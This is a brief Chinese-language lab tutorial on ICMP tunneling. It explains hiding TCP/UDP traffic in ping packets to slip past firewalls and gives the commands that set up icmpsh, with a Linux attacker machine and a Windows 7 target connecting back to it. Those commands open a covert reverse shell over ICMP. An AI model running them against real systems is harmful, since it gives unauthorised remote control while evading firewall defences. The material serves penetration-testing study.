• 一般两台设备要进行通信，一般是要开放端口，但是ICMP协议不需要
• ICMP消息为ping命令的回复，攻击者可以利用命令行得到比回复更多的ICMP请求
• ICMP隧道，可以将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙
• 常见的工具：imcpsh、PingTunnel、icmptunnel等
出现大量icmp乱码回显需要关闭kali的icmp
sysctl -w net.ipv4.icmp_echo_ignore_all=1
缺失impacket模块
去git下载源码
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
#安装到python2.7或当前默认的python版本
python2.7 setup.py install或者python setup.py install
• linux攻击机：python icmpsh_m.py 攻击机ip 防火墙ip
python2.7 icmpsh_m.py 192.168.70.132 192.168.70.128
• win7靶机： icmpsh.exe -t 攻击机ip -d 500 -b 30 -s 12
icmpsh.exe -t 192.168.70.132 -d 500 -b 30 -s 12
